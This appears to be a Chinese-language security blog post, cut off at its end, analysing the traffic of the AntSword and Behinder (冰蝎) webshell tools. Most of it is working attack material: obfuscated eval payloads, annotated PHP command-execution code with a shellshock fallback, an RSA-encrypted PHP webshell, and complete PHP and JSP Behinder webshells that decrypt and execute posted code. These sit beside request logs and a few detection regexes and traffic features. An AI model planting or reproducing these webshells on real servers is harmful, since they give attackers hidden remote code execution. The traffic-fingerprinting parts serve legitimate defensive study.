User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1871
Connection: close

ant=%40eval(%40str_rot13(%24_POST%5B's35d294f6a1f89'%5D))%3B&s35d294f6a1f89=%40vav_frg(%22qvfcynl_reebef%22%2C%20%220%22)%3B%40frg_gvzr_yvzvg(0)%3B%24bcqve%3D%40vav_trg(%22bcra_onfrqve%22)%3Bvs(%24bcqve)%20%7B%24bpjq%3Dqveanzr(%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D)%3B%24bcnee%3Dcert_fcyvg(onfr64_qrpbqr(%22Ymg8Bv8%3D%22)%2C%24bcqve)%3B%40neenl_chfu(%24bcnee%2C%24bpjq%2Cflf_trg_grzc_qve())%3Bsbernpu(%24bcnee%20nf%20%24vgrz)%20%7Bvs(!%40vf_jevgnoyr(%24vgrz))%7Bpbagvahr%3B%7D%3B%24gzqve%3D%24vgrz.%22%2F.qn57pr453796%22%3B%40zxqve(%24gzqve)%3Bvs(!%40svyr_rkvfgf(%24gzqve))%7Bpbagvahr%3B%7D%24gzqve%3Dernycngu(%24gzqve)%3B%40puqve(%24gzqve)%3B%40vav_frg(%22bcra_onfrqve%22%2C%20%22..%22)%3B%24pagnee%3D%40cert_fcyvg(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24gzqve)%3Bsbe(%24v%3D0%3B%24v%3Cfvmrbs(%24pagnee)%3B%24v%2B%2B)%7B%40puqve(%22..%22)%3B%7D%3B%40vav_frg(%22bcra_onfrqve%22%2C%22%2F%22)%3B%40ezqve(%24gzqve)%3Boernx%3B%7D%3B%7D%3B%3Bshapgvba%20nfrap(%24bhg)%7Berghea%20%24bhg%3B%7D%3Bshapgvba%20nfbhgchg()%7B%24bhgchg%3Dbo_trg_pbagragf()%3Bbo_raq_pyrna()%3Brpub%20%223nr4%22.%22rssn2%22%3Brpub%20%40nfrap(%24bhgchg)%3Brpub%20%22o42935%22.%22346781%22%3B%7Dbo_fgneg()%3Bgel%7B%24Q%3Dqveanzr(%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D)%3Bvs(%24Q%3D%3D%22%22)%24Q%3Dqveanzr(%24_FREIRE%5B%22CNGU_GENAFYNGRQ%22%5D)%3B%24E%3D%22%7B%24Q%7D%09%22%3Bvs(fhofge(%24Q%2C0%2C1)!%3D%22%2F%22)%7Bsbernpu(enatr(%22P%22%2C%22M%22)nf%20%24Y)vs(vf_qve(%22%7B%24Y%7D%3A%22))%24E.%3D%22%7B%24Y%7D%3A%22%3B%7Dryfr%7B%24E.%3D%22%2F%22%3B%7D%24E.%3D%22%09%22%3B%24h%3D(shapgvba_rkvfgf(%22cbfvk_trgrtvq%22))%3F%40cbfvk_trgcjhvq(%40cbfvk_trgrhvq())%3A%22%22%3B%24f%3D(%24h)%3F%24h%5B%22anzr%22%5D%3A%40trg_pheerag_hfre()%3B%24E.%3Dcuc_hanzr()%3B%24E.%3D%22%09%7B%24f%7D%22%3Brpub%20%24E%3B%3B%7Dpngpu(Rkprcgvba%20%24r)%7Brpub%20%22REEBE%3A%2F%2F%22.%24r-%3EtrgZrffntr()%3B%7D%3Bnfbhgchg()%3Bqvr()%3BHTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:55:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html

3ae4effa2C:/Users/sangfor/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangforb42935346781

特征:@eval(@str_rot13($_POST['s35d294f6a1f89']));

执行命令

<?php
@ini_set("display_errors", "0"); // 关闭错误显示
@set_time_limit(0); // 设置脚本执行时间为无限制
$opdir = @ini_get("open_basedir"); // 获取 open_basedir 的值
if ($opdir) { // 如果 open_basedir 被设置
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); // 将 open_basedir 的值按分隔符分割成数组
    @array_push($oparr, $ocwd, sys_get_temp_dir()); // 将当前目录和临时目录添加到数组中
    foreach ($oparr as $item) { // 遍历每个路径
        if (!@is_writable($item)) { // 检查路径是否可写
            continue; // 如果不可写,跳过
        }
        $tmdir = $item . "/.aab3ff5b3398"; // 创建一个临时目录
        @mkdir($tmdir); // 尝试创建临时目录
        if (!@file_exists($tmdir)) { // 如果临时目录不存在
            continue; // 跳过
        }
        $tmdir = realpath($tmdir); // 获取临时目录的真实路径
        @chdir($tmdir); // 切换到临时目录
        @ini_set("open_basedir", ".."); // 设置 open_basedir 为上级目录
        $cntarr = @preg_split("/\\\\|\//", $tmdir); // 将路径分割为数组
        for ($i = 0; $i < sizeof($cntarr); $i++) { // 遍历路径数组
            @chdir(".."); // 切换到上级目录
        }
        @ini_set("open_basedir", "/"); // 重置 open_basedir
        @rmdir($tmdir); // 删除临时目录
        break; // 退出循环
    }
}

function asenc($out) { // 定义 asenc 函数
    return $out; // 返回输出
}

function asoutput() { // 定义 asoutput 函数
    $output = ob_get_contents(); // 获取输出缓冲区的内容
    ob_end_clean(); // 清空输出缓冲区
    echo "86407" . "bce15"; // 输出前缀
    echo @asenc($output); // 输出内容
    echo "05741" . "7b412b"; // 输出后缀
}

ob_start(); // 开始输出缓冲

try {
    $p = base64_decode(substr($_POST["b307445bb1621a"], 2)); // 解码 POST 数据
    $s = base64_decode(substr($_POST["fff3beb202f45d"], 2)); // 解码 POST 数据
    $envstr = @base64_decode(substr($_POST["p28b7b2472e635"], 2)); // 解码环境变量
    $d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; // 根据目录格式设置命令
    if (substr($d, 0, 1) == "/") { // 如果是 Unix 系统
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); // 设置 PATH 环境变量
    } else { // 如果是 Windows 系统
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); // 设置 PATH 环境变量
    }
    if (!empty($envstr)) { // 如果环境变量不为空
        $envarr = explode("|||asline|||", $envstr); // 分割环境变量
        foreach ($envarr as $v) { // 遍历环境变量数组
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v)); // 设置环境变量
            }
        }
    }
    $r = "{$p} {$c}"; // 构建命令

    function fe($f) { // 定义 fe 函数
        $d = explode(",", @ini_get("disable_functions")); // 获取禁用的函数
        if (empty($d)) {
            $d = array(); // 如果没有禁用函数,初始化为空数组
        } else {
            $d = array_map('trim', array_map('strtolower', $d)); // 将禁用函数转换为小写并去除空格
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d)); // 检查函数是否可用
    }

    function runshellshock($d, $c) { // 定义 runshellshock 函数
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) { // 检查条件
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) { // 检查是否使用 bash
                $tmp = tempnam(sys_get_temp_dir(), 'as'); // 创建临时文件
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); // 设置环境变量并执行命令
                if (fe('error_log')) {
                    error_log("a", 1); // 记录错误日志
                } else {
                    mail("a@127.0.0.1", "", "", "-bv"); // 发送邮件
                }
            } else {
                return False; // 如果不是 bash,返回 False
            }
            $output = @file_get_contents($tmp); // 获取命令输出
            @unlink($tmp); // 删除临时文件
            if ($output != "") {
                print($output); // 输出结果
                return True; // 返回 True
            }
        }
        return False; // 返回 False
    }

    function runcmd($c) { // 定义 runcmd 函数
        $ret = 0; // 初始化返回值
        $d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
        if (fe('system')) {
            @system($c, $ret); // 使用 system 执行命令
        } elseif (fe('passthru')) {
            @passthru($c, $ret); // 使用 passthru 执行命令
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c)); // 使用 shell_exec 执行命令并输出
        } elseif (fe('exec')) {
            @exec($c, $o, $ret); // 使用 exec 执行命令
            print(join("\n", $o)); // 输出结果
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r'); // 使用 popen 打开进程
            while (!@feof($fp)) {
                print(@fgets($fp, 2048)); // 输出结果
            }
            @pclose($fp); // 关闭进程
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); // 使用 proc_open 打开进程
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048)); // 输出标准输出
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048)); // 输出标准错误
            }
            @fclose($io[1]); // 关闭标准输出
            @fclose($io[2]); // 关闭标准错误
            @proc_close($p); // 关闭进程
        } elseif (fe('antsystem')) {
            @antsystem($c); // 使用 antsystem 执行命令
        } elseif (runshellshock($d, $c)) {
            return $ret; // 如果 runshellshock 成功,返回结果
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) { // 如果是 Windows 系统并且 COM 类存在
            $w = new COM('WScript.shell'); // 创建 WScript.shell 对象
            $e = $w->exec($c); // 执行命令
            $so = $e->StdOut(); // 获取标准输出
            $ret .= $so->ReadAll(); // 读取标准输出
            $se = $e->StdErr(); // 获取标准错误
            $ret .= $se->ReadAll(); // 读取标准错误
            print($ret); // 输出结果
        } else {
            $ret = 127; // 返回 127 表示命令未找到
        }
        return $ret; // 返回执行结果
    }

    $ret = @runcmd($r . " 2>&1"); // 执行命令并捕获输出
    print($ret != 0) ? "ret={$ret}" : ""; // 如果返回值不为 0,输出结果
} catch (Exception $e) { // 捕获异常
    echo "ERROR://" . $e->getMessage(); // 输出错误信息
}

asoutput(); // 调用 asoutput 函数
die(); // 终止脚本
&b307445bb1621a=E9Y21k&fff3beb202f45d=mtY2QgL2QgIkM6XFxVc2Vyc1xcc2FuZ2ZvclxcRGVza3RvcFxccGhwc3R1ZHkyMDE4XFxQSFBUdXRvcmlhbFxcV1dXIiZpcGNvbmZpZyZlY2hvIDJhZTY2YzI4YmImY2QmZWNobyBhMjU2ZmJkZA==&p28b7b2472e635=8t

使用system、passthru、shell_exec、exec、antsystem函数执行命令

命令被放入

$p = base64_decode(substr($_POST["b307445bb1621a"], 2)); // 解码 POST 数据

$s = base64_decode(substr($_POST["fff3beb202f45d"], 2)); // 解码 POST 数据

中,可以提取解密出来:$p为解密为cmd, $s为目录加执行的命令

b307445bb1621a=E9Y21k&fff3beb202f45d=mtY2QgL2QgIkM6XFxVc....

特征可以是:Y21k后的变量值的长度为4的倍数+2

文件上传:

文件内容使用16进制编码

RSA编码:(仅支持php)

打开RSA编码器设置-->编码管理-->新建编码器-->PHP RSA
生成编码器之后再点击RSA 配置-->生成

<?php
  $cmd = @$_POST['ant'];
$pk = <<<EOF
  -----BEGIN PUBLIC KEY-----
  MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCWEJT9F3uIOzWCbdclMbESZKoX
  2d13AMPJWhA6xHAZYsPYUlJmChq7vrTsS7dz5bZwf4Nr00DqFm0WLlsk9Elin+j6
  5CASHdjrxvUlEWYU0tctJJdFJgLsOLYvOX2c+/1PBt2MQedR4ej9DgYMaHdxmuUn
  SHez/NMIUfKlJPnRzQIDAQAB
  -----END PUBLIC KEY-----
  EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);

将此webshell上传后连接:

POST /rsa_php.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0;  rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Content-Length: 2808
Connection: close

ant=tUOuE3iZlLIrBUtL6nyTFabqW0aScu1P9qoZS2eF2Tqa6zx%2F5HuNBi87B06hOICOMg5uh9PfzyBEHlRHdyMckUstZ%2FVlJZ0dP3oEsE06GUfeSDZF%2BvEs%2FUzu14xSAcU1A25lCsVqhXvRrhPBEp9mH6eEfcrOanI9wPyFkRpjBuE%3D%7Ccd46ISiiFRiXQOgpjWHiLD7EaizSPdZJNpwAszcYOihkK7ogiy0swPYkERlqSxuDm1yEn1psI3ssAUMX5ikGXZs5XCZFGkQZUE2KzCRVoBvQDZG8r2Ck5WAFbyGeD4NCBQGvM7%2Fsvbo5Q8jL4ErU%2FqbEwoXmjaaiCkxdrEJRs1Q%3D%7CKYAfis%2Bm02lHL2YoVgYFGQncJXnRKXkdsyS6bFJ1B4INpoEgCb258U7WFsFvX3Y9vxEUxSb5t%2BGexoeqC6HjLgsqJraDYR0g0N9i%2BGWCbWmIEQ1wpLGky21%2BEZEa1khGZTE%2Fs1jyGo3smXhPNuaaUrKeNUhrap%2Fbs%2FGMrRVKT2Y%3D%7CHONxx59tkRiw35l1ENoA3c51SOU7gCOqpRqVEI4rUV0puh5bW0eQ68ddBmxIIXnpr3txnS2zXdYsfgs%2BnG6duqG5G2A6YEmZomfXVMZU1kthzDC2qJlz8IFclGvIOVdpZdCMFOyV1r%2Fzj5C%2BPKg9Vo5FZNtyoiG%2BWBOT5m%2F4bXo%3D%7Cm5DzPABDKtwDzfIDLiOQ5sYjjS1OPh1lN3ypOImOsYcqGPLNcwB0tpsGsCAbXuAuisMy3Bx2wEyOBLJ%2BGmoVzP3WCjgdRilmdLfsJgZmRsKwJ1iUbNSzKOek4SYf%2Bt3K2Hg626B3rXHUBhn2QZ9GqAbPaol%2BuMJpkNkUFO7xH4E%3D%7CyX3iXL1j8tVluKj9A%2BvAaX2p8Ub9Df3TwIlDioCwYeBSVgeQsZWBvgUXuF2WImgyuVG9GtZFopLr9dsB0XFoY4UCCeiYssyEn9hItaeUq38ILHK%2FT8WqoU1u9S%2BezDo%2FZKwxXyx1oyljScwbzdPVWAnJUEODEDzgL1PijmKcie4%3D%7CGiQDYAK7xhv9XIDmLCSzf52SqV8YSAudRS9JvGRb%2FzHJZB2a%2BgQC1hycsnax5w2VvrFy1PyytucujBO9MZ%2FRDYxezK8EJGCRFAWckVlYB93RHOhsjFqqDN1FZZHTu%2F3X%2BFDe7tNKcEQ1diDj%2F7E8%2FjFGgVr1PB0TN22Q%2BTma8yg%3D%7CnUQNSKkYO%2FJvWu3yQhcVmKF%2BNLYcVCwLJ6UdJcs6Y75OnLagPsEjPqVCgTtUJsEBHSt0Ty7uAdwmbxjnli4u%2Fh8OKFl16yKJhL7r%2FgE5H%2F%2BVfrSbjAI%2FjrrNZkrrW5J8S%2B0ZN7VC8Dp3DUTmft6GjAOmRdO%2FrEVv1iKNLzVVrn4%3D%7CXEmsRuuOuaDSpENOBCzsPS8dHtPBfg3T9IMtgK3OT2i72dJXa%2FP%2FlN9hf7Bzsrt7hLKc%2F%2FeV9DxPWbXeMaGN3Hc9MhfXSiWsgOoE0wIOxrZ0uDfMk8ObjFGv%2BKbVofJ8LJ14lrKyLqfU2vV37gpLU7tmR19hOhSefVadUH%2B6r1o%3D%7CdTKVs0E3EE7%2BdvuDKqZZy7ifBpuNnEfUEGeSxD1s6ji2yUzw6bqCRHzAmE6J1QqVhqiwdjqKu5qYk0Odwq8d3T%2Fwxw6Z8bNTeoCuRsogjmUpitVL%2BvYeT%2FfP4QnB77FJVyBBFNNO1VBQkz6G1sBYilLVOMcrYoWMHZNzLhMiMhk%3D%7CBUk992sl09tHfnenETQ1hBT%2BtTgM5fE7AjY729djokzfnuRlF1%2ByzuXQHzQD5KX8BzZwXEwzPTT0TBzd3bc57NEECFLsXTMLREkUbv0xWqzVPj179FioDYrLzaLYkAaEDRgiB7By2UzGBU83MT75Vja0%2Bjx6JJAHBqp71xZRAIU%3D%7CPsxa78BZ6g2Tle8NaFKWNSdSFFycQ8BRLq1M5k7jhM%2FKW6azwOMtGKSDKvU7Hm7eughbuQlNtiHVJv%2BElHBn5qxCBr%2BqGJjUKH6ffsmbrMs52fxVwkPSJp%2FdqZhnfPixxX12Ryxsz8yduf%2BCSlvlB%2FgXLVU3FTLAW9Vd3I7%2FPTA%3D%7CVTBqaKARxRK0PEr%2Bd8QFTYaCcE7vDNQ3G20dluhPoSnu0OC3O0xid4LIh57W7aM8ITGZnhlkSPtmzOOLWnQFj4SOTm8peJrGgyxktOtDzVjBXPRt0f82Jmv0Ek%2BB1HAml3qGf%2BdDGjz4wdboMc6b1NdxZHyoizun9UZ5C93hFT8%3D%7Ccpow0xrTLzGycLCMbXQ7U80Q1yHfcijKnI%2BTT88oEw5pkrxuuu1RC0RE6wnlrcRZh7zXi9T0paAqXvfBH0kqPFqgqzkCwdBxfLC%2BkwgblZUUW%2BMT6Iav8Hxj7Kh0%2F1SP7gMNDNtpLeqzNcOeLoyuQqbPbQyz5hEUclkP%2B6FiKTU%3D%7CXjlO1XcHqWep1aBbW%2B32Tyi0L7M6sCrryo4FLIhv%2BDLv4kdC1pXr1PhXMeOtp1mUB9mIq8BcDq8AqNs61D5LshxAFMSwhN52Fev9b2WY%2FdsqG54occfMDFVAoV9zC0zoQ5gf%2F%2FhshFLXMZmpAd7N3zrNIfL2IvXdSQQx0%2B7E5N8%3D

如果php没有开启OpenSSL则会连接报错

HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 03:11:25 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 181
Connection: close
Content-Type: text/html

<br />
<b>Fatal error</b>:  Call to undefined function openssl_pkey_get_public() in <b>C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\rsa_php.php</b> on line <b>12</b><br />

正常连接返回

Date: Tue, 15 Oct 2024 02:55:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html

3ae4effa2C:/Users/sangfor/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangforb42935346781

可以看到请求无明显特征,看看是怎么加密的

/**
 * php::RSA编码器
 * Create at: 2024/10/15 10:58:53
 */

'use strict';

/*
 * @param  {String} pwd   连接密码
 * @param  {Array}  data  编码器处理前的 payload 数组
 * @return {Array}  data  编码器处理后的 payload 数组
 */
module.exports = (pwd, data, ext={}) => {
  let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
  for (var i = 0; n > i; i++) {
  r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
  }
  data[pwd] = r.join("|");
delete data['_'];
return data;
}

可以看到每块数据使用了|进行连接,此时可以判断请求是否有base64编码且有多个|,且每个|之间的字符长度一样为172

使用rsa可能对目前环境要求高,但是请求没有明显特征

流量特征

冰蝎4

原理

//如何通过自定义class字节流调用函数执行命令

//classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法

//动态将class字节流编译执行,并调用重写的方法

import sun.misc.BASE64Decoder;
public class javawebshelltest {
    public static class Myloader extends ClassLoader //继承ClassLoader
    {
        public  Class get(byte[] b)
        {
            return super.defineClass(b, 0, b.length);
        }
    }
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
        BASE64Decoder code=new sun.misc.BASE64Decoder();
        Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
        System.out.println(result.newInstance().toString());  // classStr重写了toString函数,弹用了计算器
        System.out.println(result.toString());
    }
}

//toString方法内部没办法访问Request、Response、Seesion等servlet相关对象

//查看Object中类所有的方法,发现equals方法可以传入一个object,可以将pageContext传入进去,通过pageContext可以调用Request、Response、Seesion等

//ClassLoader和pageContext类不在同一路径会导致在equals中访问这些类会出现java.lang.ClassNotFoundException异常,可以增加一个构造函数,将ClassLoader 传入进去,将自定义传入的类作为父类加载器,这样就可以通过自定义类找到其他类,而不是使用ClassLoader类型去查找

<%@ page
    import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
    public Myloader(ClassLoader c) 
    {super(c);} // 调用父类构造函数,传入当前的类加载器
    public Class get(byte[] b) {  // 定义get方法,用来将指定的byte[]传给父类的defineClass
        return super.defineClass(b, 0, b.length); // 调用父类的defineClass方法,将字节数组转换为Class对象
    }
}
%>
<%
    if (request.getParameter("pass")!=null) {  // 判断请求方法是否带有密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
        String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  // 随机生成一个16字节的密钥
        request.getSession().setAttribute("uid", k); // 将密钥写入当前会话的Session中
        out.print(k); // 将密钥发送给客户端
        return; // 执行流返回,握手请求时,只产生密钥,后续的代码不再执行
    }
    /*
    当请求为非握手请求时,执行下面的分支,准备解密数据并执行
    */
    String uploadString= request.getReader().readLine(); // 从request中取出客户端传过来的加密payload
    Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); // 把payload进行base64解码
    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); // 从Session中取出密钥并初始化解密模式
    Byte[] classData= c.doFinal(encryptedData);  // AES解密操作,得到原始的class字节数组
    Object myLoader= new Myloader().get(classData).newInstance(); // 通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
    String result= myLoader.equals(pageContext); // 调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中,将执行结果通过equals中利用response对象返回。
%>

php

<?php
// 开始一个新的会话或继续现有的会话
session_start();

// 检查 URL 中是否存在 'pass' 参数
if (isset($_GET['pass'])) {
    // 生成一个随机的密钥,使用 md5 和 uniqid 组合
    $key = substr(md5(uniqid(rand())), 16);
    // 将生成的密钥存储在会话变量中
    $_SESSION['k'] = $key;
    // 输出生成的密钥
    print $key;
} else {
    // 从会话中获取之前存储的密钥
    $key = $_SESSION['k'];
    // 从请求的输入流中读取加密内容并进行解密
    $decrptContent = openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    // 将解密后的内容按 '|' 分割成数组
    $arr = explode('|', $decrptContent);
    // 获取数组中的第一个元素作为函数名
    $func = $arr[0];
    // 获取数组中的第二个元素作为参数
    $params = $arr[1];
    // 调用函数并传递参数
    $func($params);
}
?>

冰蝎一句话加密函数分析

xor

php

<?php
// 关闭错误报告,避免显示任何错误信息
@error_reporting(0);

// 从输入流中读取数据并进行解密,从请求的原始输入流中读取数据,通常用于获取 POST 请求的内容。
$post = Decrypt(file_get_contents("php://input"));

// 执行解密后的代码
eval($post);
?>

jsp

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
    // 定义一个密钥,用于解密操作
    String key="e45e329feb5d925b";
    // 遍历输入的字节数组
	for (int i = 0; i < data.length; i++) {
        // 使用异或操作解密数据,key.getBytes()[i + 1 & 15] 取密钥的字节
		data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
	}
    // 返回解密后的字节数组
	return data;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
        super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
    // 创建一个字节数组输出流,用于存储读取到的数据
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    // 定义一个缓冲区,大小为512字节
    byte[] buf = new byte[512];
    // 从请求输入流中读取数据,返回读取的字节数
    int length=request.getInputStream().read(buf);
    // 当读取到的数据长度大于0时,继续读取
    while (length>0)
    {
        // 复制当前读取到的字节数据
        byte[] data= Arrays.copyOfRange(buf,0,length);
        // 将读取到的数据写入字节数组输出流
        bos.write(data);
        // 继续从输入流中读取数据
        length=request.getInputStream().read(buf);
    }
    /* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性
    out.clear();
    out=pageContext.pushBody();
    */
    // 清空输出流
    out.clear();
    // 将当前页面上下文推入输出流
    out=pageContext.pushBody();
    // 使用自定义类加载器 U 解密读取到的字节数据,并实例化该类
    new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);
}
%>

xor_base64

php

<?php
@error_reporting(0); // 关闭错误报告,避免在执行过程中显示错误信息

function Decrypt($data) // 定义一个名为 Decrypt 的函数,接受一个参数 $data
{
    $key="e45e329feb5d925b"; // 定义一个密钥,用于解密
    $bs="base64_"."decode"; // 创建一个字符串,表示 base64 解码函数的名称
    $after=$bs($data.""); // 对输入的数据进行 base64 解码,并将结果赋值给 $after
    for($i=0;$i<strlen($after);$i++) { // 遍历解码后的字符串
        $after[$i] = $after[$i]^$key[$i+1&15]; // 使用异或运算对每个字符进行解密,密钥的索引通过与运算限制在 0-15 之间
    }
    return $after; // 返回解密后的字符串
}

$post=Decrypt(file_get_contents("php://input")); // 从输入流中读取数据,解密后赋值给 $post
eval($post); // 执行解密后的 PHP 代码
?>

安装使用

在传输协议中选择协议名称,然后生成服务端,这个就是webshell

上传后进行连接,选择自定义,密码就是webshell中的密钥

连接成功后会执行phpinfo并返回

冰蝎首先会发起一个测试连接

可根据

['request_url']: \.(php|jsp|asp|jspx|asa)\?(\w){1,15}=\d{2,3}$
['response_body']: [a-z0-9]{16}$

进行特征识别

流量分析

传输协议使用xor_base64进行分析,客户端的加解密函数对asp jsp php 都是一样的,使用PHP环境进行分析

服务端解密webshell:

<?php
@error_reporting(0); // 关闭错误报告,避免在执行过程中显示错误信息

function Decrypt($data) // 定义一个名为 Decrypt 的函数,接受一个参数 $data
{
    $key="e45e329feb5d925b"; // 定义一个密钥,用于解密
    $bs="base64_"."decode"; // 创建一个字符串,表示 base64 解码函数的名称
    $after=$bs($data.""); // 对输入的数据进行 base64 解码,并将结果赋值给 $after
    for($i=0;$i<strlen($after);$i++) { // 遍历解码后的字符串
        $after[$i] = $after[$i]^$key[$i+1&15]; // 使用异或运算对每个字符进行解密,密钥的索引通过与运算限制在 0-15 之间
    }
    return $after; // 返回解密后的字符串
}

$post=Decrypt(file_get_contents("php://input")); // 从输入流中读取数据,解密后赋值给 $post
eval($post); // 执行解密后的 PHP 代码
?>

客户端加密函数

private byte[] Encrypt(byte[] data) throws Exception
{
    // 定义一个密钥,长度为16个字节(128位)
    String key = "e45e329feb5d925b";
    
    // 对输入的字节数组进行异或加密
    for (int i = 0; i < data.length; i++) {
        // 将每个字节与密钥的相应字节进行异或操作
        // key.getBytes()[i + 1 & 15] 取密钥的字节,使用 & 15 确保索引在 0 到 15 之间循环
        data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
    }
    
    byte[] encrypted; // 声明一个字节数组用于存储加密后的数据
    Class baseCls; // 声明一个 Class 对象用于反射

    try
    {
        // 尝试使用 java.util.Base64 类进行 Base64 编码
        baseCls = Class.forName("java.util.Base64");
        Object Encoder = baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
        
        // 调用 Base64 编码器的 encode 方法对加密后的数据进行编码
        encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
    }
    catch (Throwable error)
    {
        // 如果 java.util.Base64 不可用,则使用 sun.misc.BASE64Encoder 作为备选方案
